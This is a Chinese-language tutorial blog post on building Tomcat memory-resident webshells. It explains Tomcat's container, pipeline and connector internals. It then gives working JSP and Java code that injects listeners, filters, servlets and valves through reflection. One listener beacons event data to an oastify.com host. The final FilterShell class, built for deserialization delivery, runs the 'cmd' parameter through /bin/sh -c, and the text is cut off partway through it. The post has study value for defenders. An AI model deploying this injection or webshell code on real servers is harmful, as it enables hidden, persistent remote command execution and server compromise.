深入浅出内存马

手搓Filter内存马从构造到利用讲解(内存马系列篇一) 今天开始细说一下内存马相关的知识点了,我打算成立一个专辑,详细讲讲各种内存马的原理,构造,和检测方,同样包括一下tricks。这篇是专辑的第一篇,详解了Tomcat下的Filter内存马。什么是内存马呢? 阅读详情

本文的技术是21年前的,我自己学习的输出笔记。如果你没学过,可以跟着我的思路来,但我更想表达的是我学习这个东西的思路,就是我是怎么学习的,这个比内容更重要。
谈不上精通,还有好多没写,但是已经不是当下的重点研究了,可以以Tomcat的学习研究为魔板套用到任何一个组件的漏洞挖掘上。
全文写作没有跟着任何一个其他别人文章的思路来的,我是从头到尾自己分析的,图也是自己画的,我只是拿着以前的代码,然后去调试,因为可以看懂源码和Tomcat内的运行逻辑,然后以拿到的代码为基础,延伸出一些自己的思考。我学习Tomcat大概用了一周,学习内存马并写文章用了一周。
如果想全面的去学习内存马可以去看https://xz.aliyun.com/t/11003#toc-10

要想真正明白内存马,必须要先熟悉Tomcat,为此我特意从头到尾刷了一遍《Tomcat深入分析》对Tomcat结构有了一个比较详细的了解。
我用大白话和图片给你讲解一下学习研究内存马或者看源码需要知道Tomcat中的哪些东西。
几个重要的组件
connector,container,service,server
还有几个有助于理解源码的组件
pipeline,valve

1.container和pipeline/valve

首先我们要理解Tomcat是由容器(Container)组成,从外到里分别逐层嵌套,Engine容器,Host容器,Context容器,Wrapper容器。一个Engine容器可以有多个虚拟主机容器(Host容器),一个主机(Host容器)可以有多个应用(Context容器),一个应用要有多个连接请求(Wrapper容器)。上面四个种容器都是Container的实现。
通常情况下上层容器与下层容器之间关系为父子容器,Host没有父容器,Wrapper没有子容器。
Tomcat提供给我们默认的类分别叫做StandardEngine,StandardHost, StandardContext, StandardWrapper。
pipeline是什么呢,中文名字是流水线,每个容器都有自己的pipeline,代表一个完成任务的管道。流水线上面有很多任务,具体任务是什么呢?就是Valve,中文名字是阀。其中Pipeline和Valve都是接口,对于Pipeline有一个标准实现StandardPipeline。对于Valve不同的容器有它自己的实现,比如StandardWrapper容器实现的StandardWrapperValve

20230712145709-51ecee82-2081-1.png
我们通过StandardWrapper举个例子,见下文

StandardWrapper

StandardWrapper 对象的主要职责是:加载它表示的 servlet 并分配它的一个实例。该 Standardwrapper 不会调用 servlet 的 service 方法。这个任务留给StandardWrapperValve 对象,在 StandardWrapper 实例的基本阀门管道。StandardVrapperValve 对象通过调用 StandardWrapper的 allocate 方法获得Servlet 实例。在获得 Servlet 实例之后的 StandardwrapperValve 调用 servlet的 service 方法。

下面代码中关注:构造函数,类成员,allocate方法,loadService方法

public class StandardWrapper extends ContainerBase
    implements ServletConfig, Wrapper, NotificationEmitter {
    // 构造函数,我们的pipeline中加入基本的阀,每个pipeline中必须有一个基本阀
    public StandardWrapper() {
        super();
        swValve=new StandardWrapperValve();
        pipeline.setBasic(swValve);
        broadcaster = new NotificationBroadcasterSupport();
    }
    // servlet类
    protected volatile Servlet instance = null;

    // 映射
    protected final ArrayList<String> mappings = new ArrayList<>();

    // 阀
    protected StandardWrapperValve swValve;

    @Override
    public Servlet allocate() throws ServletException {
		// ...
        boolean newInstance = false;

        // If not SingleThreadedModel, return the same instance every time
		// 这里涉及多线程访问servlet的问题,我们不关心
        if (!singleThreadModel) {
            // Load and initialize our instance if necessary
            if (instance == null || !instanceInitialized) {
                synchronized (this) {
                    if (instance == null) {
                        try {
					// 获取servlet
                            instance = loadServlet();
                            newInstance = true;
                        } catch (ServletException e) {
                            throw e;
                        }
                    }
                    if (!instanceInitialized) {
				// 初始化servlet
                        initServlet(instance);
                    }
                }
            }
//  省略有关instancePool的代码,类似于线程池,复用servlet
            return instancePool.pop();
        }
    }


    public synchronized Servlet loadServlet() throws ServletException {
        Servlet servlet;
        try {
            InstanceManager instanceManager = ((StandardContext)getParent()).getInstanceManager();
            try {
                servlet = (Servlet) instanceManager.newInstance(servletClass);
            } catch (ClassCastException e) {
				//...
			}
			initServlet(servlet);
			// 事件通知机制,背后有listener监听
            fireContainerEvent("load", this);
			return servlet;
    }
}

我们再看看StandardWrapperValve,主要关注invoke方法中的servlet获取,过滤链的创建和调用

final class StandardWrapperValve extends ValveBase {
    @Override
    public final void invoke(Request request, Response response)
        throws IOException, ServletException {

        boolean unavailable = false;
        requestCount.incrementAndGet(); //请求数量
        StandardWrapper wrapper = (StandardWrapper) getContainer(); // 获取wrapper
        Servlet servlet = null; // servlet
        Context context = (Context) wrapper.getParent(); // wrapper父容器,代表一个应用

		// 检查application是否可用
		// 检查servlet是否可用
		//...

		// 分配一个servlet实例来处理request请求
        try {
            if (!unavailable) {
                servlet = wrapper.allocate(); // 上文我们分析的allocate方法
            }
        } catch (Exception e) {
			// ...
		}

		// 设置一些属性
        // ...
        // 为请求创建一个过滤链
        ApplicationFilterChain filterChain =
                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

        Container container = this.container;
        try {
            if ((servlet != null) && (filterChain != null)) {
                if (context.getSwallowOutput()) {
					// 不重要
                } else {
                    if (request.isAsyncDispatching()) {
                        request.getAsyncContextInternal().doInternalDispatch();
                    } else {
						// 执行过滤链逻辑
						// 执行过程中也会嗲用servlet的service方法
                        filterChain.doFilter
                            (request.getRequest(), response.getResponse());
                    }
                }

            }
        } catch (ClientAbortException | CloseNowException e) {
			// ... 一些异常
        } finally {
		    // ... 释放资源,重置时间
        }
    }
}

StandardWRapper的主要作用就是加载创建Servlet实例,以及一些关于Servlet的setter,getter方法
20230712155437-59780d46-2089-1.png

到目前为止我们捋顺一下逻辑
20230712154404-e0217d48-2087-1.png
注意一下,最开始的StandardWrapper.getPipeline().getFirst().invoke(request, response);是上层Context任务的调用,毕竟要完成一个任务需要调用子任务。

如果不是很清晰的话,就看下代码,注意最下面的代码部分

final class StandardContextValve extends ValveBase {
	    @Override
    public final void invoke(Request request, Response response)
        throws IOException, ServletException {
		// .....
		// 注意这里
        wrapper.getPipeline().getFirst().invoke(request, response);
    }
}

重复这种模式,container->pipeline->valve->container->pipeline->valve,看一下实际的调用栈
20230712154831-7f30e158-2088-1.png
ok,我们再最后具体了解一下剩下的几个容器的作用,然后回到最上层的Connector

Context/Host/Engine

Context

一个应用程序有自己的资源,类加载器,管理器。所以StandardContext也要有这些内容

public class StandardContext extends ContainerBase
        implements Context, NotificationEmitter {
    public StandardContext() {

        super();
        pipeline.setBasic(new StandardContextValve());
        broadcaster = new NotificationBroadcasterSupport();
        // Set defaults
        if (!Globals.STRICT_SERVLET_COMPLIANCE) {
            // Strict servlet compliance requires all extension mapped servlets
            // to be checked against welcome files
            resourceOnlyServlets.add("jsp");
        }
		// 监听器
		private String applicationListeners[] = new String[0];
		private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
		// 初始化器
		private Map<ServletContainerInitializer,Set<Class<?>>> initializers = new LinkedHashMap<>();
		// ServletContext的标准实现,表示web应用程序的执行环境。这个类的一个实例与StandardContext的每个实例相关联。
		protected ApplicationContext context = null;
		// 过滤器配置
		private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();
		// 过滤器的定义信息
		private Map<String, FilterDef> filterDefs = new HashMap<>();
		// 类加载器
		private Loader loader = null;
		// 管理器
		protected Manager manager = null;
		// 资源
		private NamingResourcesImpl namingResources = null;
		// 访问参数
		private final Map<String, String> parameters = new ConcurrentHashMap<>();
		// ....等
    }
    @Override
    protected synchronized void startInternal() throws LifecycleException {
		// 该方法启动所有的线程
		namingResources.start();
		resourcesStart();
		((Lifecycle) loader).start();
		((Lifecycle) realm).start();
		// 启动子容器
		 for (Container child : findChildren()) {
			if (!child.getState().isAvailable()) {
				child.start();
			}
		}
		((Lifecycle) pipeline).start();
		((Lifecycle) manager).start();
	}
}

然后它还有一些后台线程热部署资源的东西,可以不用停机重新打包,自动更新资源

Host

主机就是一些路径处理,部署处理等等

Engine

引擎代表整个catalina的引擎

2.Server/Service

org.apache.catalina.Server代表catalina服务,其中有端口地址,开关服务,还可以添加很多service,有global资源,类加载器等等,作为一种统筹全局的类,这样就不必再单独启动连接器和容器了。
org.apache.catalina.Service代表服务,一个服务有一个容器和多个连接器,你可以添加不同协议的连接器,以便可以同时支持Http以及Https协议。
你有没有想过Service既然是服务,那和Context有什么关系?Context代表应用。一个服务可以有多个应用,可以这么理解,Service是一个统筹管理的角色,Context是具体执行的角色。

以上是Tomcat的结构,还有我们要和外界联系,连接处理等

3.Connector/Processor

Tomcat作为一个接受Http请求的软件,客户端过来连接,服务端需要连接动作。
你可以这么理解

前置

在看Tomcat连接器之前,先看一下更下面的部分,这样有助于理解一些东西
20230712163807-6d12b45e-208f-1.png

当然这是很老以前的模型了,一个线程作为一个Connector。现在你看源码的话都是用NIO连接。是一个多路复用的模型,效率极高。我可以简单给你普及一下,Nio中是以事件为驱动的,比如客户端建立连接事件,服务端接受请求事件,客户端读写事件等。其中服务端有一个Selector线程,专门用来接受不同请求对应的事件,然后分发给下面众多的Worker线程去执行。消息通知用异步的形式,就是不用一直等着你完成给我结果,我把任务给你,我该干啥干啥,你完成了再汇报给我。所以这种相比于传统模型多了一个多路复用,和异步通信,效率自然就高了。

Coyote

Tomcat默认使用Coyote连接器
20230712163413-e13279a6-208e-1.png
从下往上看,第一排是EndPoint,EndPoint 是 Coyote 通信端点,即通信监听的接⼝,是具体Socket接收和发送处理器,是对传输层的抽象,因此EndPoint⽤来实现TCP/IP协议的。我们学过OSI七层模型,TCP/IP是网络层和传输层,最上面是应用层,落实到Tomcat中就是Http协议等的处理

再往上你看到了Http11Processor,默认情况下,Tomcat使用这个处理器,它会接收来⾃EndPoint的Socket,读取字节流解析成Tomcat Request和Response对象,并通过Adapter将其提交到容器处理。还有AjpProcessor,对应处理ajp协议。ajp协议就是一个加速版的http协议,效率高,集群的时候通常使用,但是Tomcat存在历史漏洞,使用此协议有风险。

当处理器处理协议的时候又提供了一些接口,表示为ProtocolHandler,Coyote 协议接⼝, 通过Endpoint 和 Processor , 实现针对具体协议的处理能⼒。Tomcat 按照协议和I/O 提供了6个实现类 : AjpNioProtocol ,AjpAprProtocol, AjpNio2Protocol , Http11NioProtocol ,Http11Nio2Protocol ,Http11AprProtocol。

最后来到CoyoteAdapter,可以看到连接器直接调用服务。


    @Override
    public void service(org.apache.coyote.Request req, org.apache.coyote.Response res)
            throws Exception {

        Request request = (Request) req.getNote(ADAPTER_NOTES);
        Response response = (Response) res.getNote(ADAPTER_NOTES);

        if (request == null) {
			// 创建request以及一些设置
        }

        if (connector.getXpoweredBy()) {
            response.addHeader("X-Powered-By", POWERED_BY);
        }

        boolean async = false;
        boolean postParseSuccess = false;

        req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());

        try {
            // Parse and set Catalina and configuration specific
            // request parameters
            postParseSuccess = postParseRequest(req, request, res, response);
            if (postParseSuccess) {
                //check valves if we support async
				// 检查阀
                request.setAsyncSupported(
                        connector.getService().getContainer().getPipeline().isAsyncSupported());
                // Calling the container
				// 调用服务,调用容器,调用流水线,调用StandardEngineValve
                connector.getService().getContainer().getPipeline().getFirst().invoke(
                        request, response);
            }
            // ...
    }

接下来就可以开始了学习内存马了

listener

我建议你先搭建一个Tomcat环境
https://blog.youkuaiyun.com/gaoqingliang521/article/details/108677301
我之前在Springboot环境下搭建的,没成功,也无法调试。不建议使用Springboot,直接用java+Tomcat。Tomcat9.0.55,jdk8u66可以,尝试Tomcat10.x没成功,希望你别踩坑。
我们先搞jsp内存马,将下面代码作为jsp文件,并访问,你如果想调试,应该可以在jsp上直接直接下断点。

<%
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
    ServletRequestListener listener = new ServletRequestListener() {
        public void requestDestroyed(ServletRequestEvent sre) {
        }
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            try {
                Field reqField = req.getClass().getDeclaredField("request");
                reqField.setAccessible(true);
                // org.apache.catalina.connector.Request
                Object reqObj = reqField.get(req);
                // org.apache.catalina.connector.Response
                HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
                PrintWriter out = rep.getWriter();
                out.println("listener_xjj_test");

            }catch (Exception e){
                e.printStackTrace();
            }
        }
    };

    context.addApplicationEventListener(listener);
%>

通过阅读代码,可以大致理解,我们通过jsp中的request,反射获取其Context,然后想其中添加一个我们自定义的监听器,监听器的逻辑是建立请求的时候执行代码。

1.首先这个request是哪来的?
查资料:JSP request是HttpServletRequest类型的隐式对象,即由web容器为每个JSP请求创建。
2.监听器是什么?
这个在前文没有给出,现在学一下、还记得前面的Context吗,在应用中我们设置大部分的监听器,在StandardContext中有监听器启动的函数listenerStart()。当然好奇的我们发现Host以及Engine也有相应的监听器,但是不多用处也不大。
3.如何通知监听器?
在生命周期中通过ContainerBase的fireXxxxEvent函数进行事件通知
4.都有哪些监听器?
在ContainerBase中:
LifecycleListener,ContainerListener,PropertyChangeListener,分别表示生命周期,容器,属性改变的时候进行事件通知,里面涉及到很多具体的东西,比如生命周期的各个阶段,容器中添加子容器父容器,类中字段属性等等他们进行改变时会通知监听器
在StandardContext中:
重写的方法fireRequestInitEvent和fireRequestDestroyEvent中找到ServletRequestListener,分别表示请求建立和销毁时会通知的监听器
大致就找到这些,至于为什么在容器中找监听器,大致因为容器是整个Tomcat运行的单位。引擎,主机,应用,servlet任何一个变化都会通知其所属的各个监听器。
5.如何注册监听器?
我们可以在Container的子类中找到addXxxListener()函数,用于注册监听器

到现在我们可以大致总结一下,如果我们可以在容器中注册我们自定义的监听器该多好,某个时间触发我们的监听器,就执行我们自定义的方法,也就是说我们写的jsp文件动态注册了个监听器到内存中,增加一个自删除的逻辑把文件删除。当然我相信可以注册的不仅仅只有监听器,一定还可以注册其他东西。而且监听器也不仅仅只是注册这ServletRequestListener一种。这都是后话了,先继续看这个。

6.OK,那反过来怎么写出的这个jsp文件?
首先我们明确目的:注册自定义监听器到内存中,监听器触发条件最好简单一些。
前提是我们jsp文件可以使用request,这个request是HttpServletRequest的实现,其中org.apache.catalina.connector.Request是之一,Coyote请求的包装器对象。可能老版本用外观模式封装了一层RequestFacade。我们可以通过Request拿到Host,Context,Wrapper
我们去搜addXxxListener函数
1)Wrapper/Host:
addNotificationListener(NotificationListener listener, NotificationFilter filter, Object object) - ok
2)Context:
addNotificationListener(NotificationListener listener, NotificationFilter filter, Object object) - ok
addWrapperListener(String listener) - pass
addWrapperLifecycle(String listener) - pass
addApplicationListener(String listener) - pass
addApplicationLifecycleListener(LifecycleListener listener) - ok
addApplicationEventListener(Object listener) - ok
3)公共:
addLifecycleListener(LifecycleListener listener) - ok
addContainerListener(ContainerListener listener) - ok
addPropertyChangeListener(PropertyChangeListener listener) - ok
除了传参是String外的Listener都可以注入
我这里在原先的基础上再尝试一个

<%@ page import="javax.servlet.ServletRequestListener"%>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.LifecycleListener" %>
<%@ page import="org.apache.catalina.LifecycleEvent" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.ProtocolException" %>
<%
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
    ServletRequestListener listener = new ServletRequestListener() {

        public void requestDestroyed(ServletRequestEvent sre) {
        }

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            try {
                Field reqField = req.getClass().getDeclaredField("request");
                reqField.setAccessible(true);
                // org.apache.catalina.connector.Request
                Object reqObj = reqField.get(req);
                // org.apache.catalina.connector.Response
                HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
                PrintWriter out = rep.getWriter();
                // rep.sendError(404);
                out.println("listener_xjj_test");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    };

    LifecycleListener lifecycleListener = new LifecycleListener() {
        @Override
        public void lifecycleEvent(LifecycleEvent lifecycleEvent) {
            try {
                String url = String.format("http://%s.kpdqe2die2cb57xb28zkf1kp6gc70xom.oastify.com", lifecycleEvent.getData());
                URL obj = new URL(url);
                HttpURLConnection con = (HttpURLConnection) obj.openConnection();
                con.setRequestMethod("GET");
                con.getResponseCode();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };

//    context.addApplicationEventListener(listener);
    context.addLifecycleListener(lifecycleListener);
//    context.addApplicationLifecycleListener(lifecycleListener);
%>

妈的,写了一堆全都没保存,想死的心都有了,下面的我就长话短说了,不拐弯墨迹了。可能错过很多细节,但是,活该我在网页上写文档。网页编辑器太傻逼了。我先在本地写,然后再传到网上去

filter

我们可以获取context,自然就可以通过context添加任何一个东西到我们运行的程序中,如果我们足够了解其内部逻辑的话,一切皆有可能。
如何注入一个Filter到程序呢?自然想到上文我们提到了ApplicationFilterChain,通过查找其createFilterChain代码,了解到如下重要信息:

  1. 过滤链添加的是ApplicationFilterConfig类型
  2. 添加之前在FilterMaps中要有相关信息
public static ApplicationFilterChain createFilterChain(ServletRequest request,
                                                       Wrapper wrapper, Servlet servlet) {

    // Add the relevant path-mapped filters to this filter chain
    for (int i = 0; i < filterMaps.length; i++) {
        if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMaps[i], requestPath))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                                                context.findFilterConfig(filterMaps[i].getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (int i = 0; i < filterMaps.length; i++) {
        if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMaps[i], servletName))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                                                context.findFilterConfig(filterMaps[i].getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}

进一步去找ApplicationFilterConfig的构造函数,我们需要一个FilterDef类,而FilterDef中存在Filter类

ApplicationFilterConfig(Context context, FilterDef filterDef)
    
public class FilterDef implements Serializable {
    private transient Filter filter = null;
}

明确

  1. 构造Filter
  2. Filter封装入FilterDef,并且完善其他信息
  3. 通过反射获取ApplicationFilterChain
  4. FilterDef封装入ApplicationFilterConfig
  5. 构造FilterMap,将FilterMap加入到相应的位置

其中ApplicationFilterChain需要我们通过反射获取

<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.PrintWriter" %>
<%
    //    context
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

    // filter and filterDef
    // 注意填一些基本信息
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletResponse.getWriter().println("filter_xjj_test");
        }

        @Override
        public void destroy() {

        }
    };
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("xjjFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    context.addFilterDef(filterDef);

//    applicationConfig
    Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    declaredConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(context, filterDef);

    // context.filterConfigs reflect, 加入applicationconfig
    Field filterConfigs = context.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    Map map = (Map) filterConfigs.get(context);
    map.put("xjjFilter", applicationFilterConfig); //  add ApplicationfilterConfig to the filterConfigs

//    filterMap
    // 加入map之前一定先假如def,否则会做检查
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("xjjFilter");

    context.addFilterMap(filterMap);
%>

servlet

根据前文servlet联想到wrapper容器,我们只需要构造一个wrapper并加入到context即可
注意,我们的应用要添加对应的路径匹配,因为一个应用可以有很多个servlet,不同路径对应的都不同

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Arrays" %>
<%
    // context
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

    // servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            servletResponse.getWriter().println("servlet_xjj_test");
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    };

    Wrapper wrapper = context.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(servlet.getClass().getName());
    wrapper.setName("xjjWrapper");


//    // 没用
//    Wrapper[] children = (Wrapper[]) context.getChildren();
//    long count = Arrays.stream(children).filter(c -> c.getName().equals("xjjWrapper")).count();
//    if (count == 1) {
//        return;
//    }
    context.addChild(wrapper); // 父子容器记得关联
    // 添加servlet映射
    context.addServletMappingDecoded("/*", "xjjWrapper");
%>

valve

不废话,pipeline中加入valve

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Pipeline" %><%
    // context
    Field f = request.getClass().getDeclaredField("request");
    f.setAccessible(true);//因为是protected
    Request req = (Request) f.get(request);//反射获取值
    StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

    Valve valve = new Valve() {
        @Override
        public Valve getNext() {
            return null;
        }

        @Override
        public void setNext(Valve valve) {

        }

        @Override
        public void backgroundProcess() {

        }

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            response.getWriter().println("xjj_valve_test");
        }

        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    };

    Pipeline pipeline = context.getPipeline();
//    pipeline.setBasic();
    pipeline.addValve(valve);

%>

如何实战

内存马只是作为恶意文件的一种。我们在本地写的时候自然是jsp文件直接经过jasper编译,生成java执行,再生成html回送给客户端,但是真实环境中不会这样。我们即使将jsp文件上传到对方的服务器,也是会文件落地。将filter,servlet等注入到对方的运行环境中,同时又销声匿迹,该如何做到?
可以想起cc链中的TemplatesImpl,我们将恶意类转化为字节数组,存入到_bytecodes中,序列化后,发送给对方。
然后对方反序列化时触发TemplatesImpl的defineClass方法构造java.lang.Class类,然后内部还会执行Class.newInstance()实例化,触发static代码片段。
我们不用jasper处理jsp文件。直接把jsp写成java文件,然后转化成字节数组
遇到问题:之前写jsp的时候使用了request对象,现在没有了,我们还需要通过反射来获取一下。具体从哪里反射,就见仁见智开始搜了,或者直接看别人的文章。
我们自己想想,request会经过哪里?一个请求从封装成网络包开始就存在了,就是我们上面分析的,先是connector接受请求形成connection,其在AbstrctProtocol中ConnectionHandler类中的Map<S, Processor> connections,是一个ConcurrentHashMap。key是一个NioChannel,value是一个Http11Processor类。在这个类构造的时候就封装好了request,AbstractProcessor是父类

protected AbstractProcessor(Adapter adapter, Request coyoteRequest, Response coyoteResponse) {
    this.adapter = adapter;
    asyncStateMachine = new AsyncStateMachine(this);
    request = coyoteRequest;
    response = coyoteResponse;
    response.setHook(this);
    request.setResponse(response);
    request.setHook(this);
    userDataHelper = new UserDataHelper(getLog());
}

紧接着会经过CoyoteAdapter,以及各个Valve,在这个过程中肯定是对request进行各种处理,不过valve不会存储request。但是形成servlet的地方还是我们的最小任务单位StandardWrapperValve,使用wrapper.allocate()创建servlet,然后会创建一个ApplicationFilterChain,紧接着对request进行过滤,在最后一个doFilter的方法的时候会执行我们servlet的service方法形成结果返回给客户端。

ApplicationFilterChain获取request

ApplicationFilterChain是一个好的地方,因为执行过滤链ApplicationFilterChain时request是赋值过了的,其内部包含context对象。
细节就是通过调试代码写出的,没有任何可学的地方。

/**
* Created by xjj on 2023/7/14.
*/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Map;

public class FilterShell extends AbstractTranslet implements Filter {
    static {
        System.out.println("doInjectFilter");
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //静态变量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }else {
                ServletRequest servletRequest = lastServicedRequest.get();
                ServletResponse servletResponse = lastServicedResponse.get();

                //开始注入内存马
                ServletContext servletContext = servletRequest.getServletContext();
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                // ApplicationContext 为 ServletContext 的实现类
                ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
                Field context1 = applicationContext.getClass().getDeclaredField("context");
                context1.setAccessible(true);
                // 这样我们就获取到了 context
                StandardContext standardContext = (StandardContext) context1.get(applicationContext);

                //1、创建恶意filter类
                Filter filter = new FilterShell();

                //2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("Sentiment");
                filterDef.setFilterClass(filter.getClass().getName());

                // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
                standardContext.addFilterDef(filterDef);
                //3、将FilterDefs 添加到FilterConfig
                Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                filterConfigs.put("Sentiment",filterConfig);

                //4、创建一个filterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName("Sentiment");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                //将自定义的filter放到最前边执行
                standardContext.addFilterMapBefore(filterMap);

                servletResponse.getWriter().write("Inject Success !");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            // 注意这块
            String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")};
//            String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            byte[] bcache = new byte[1024];
            int readSize = 0;
            try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
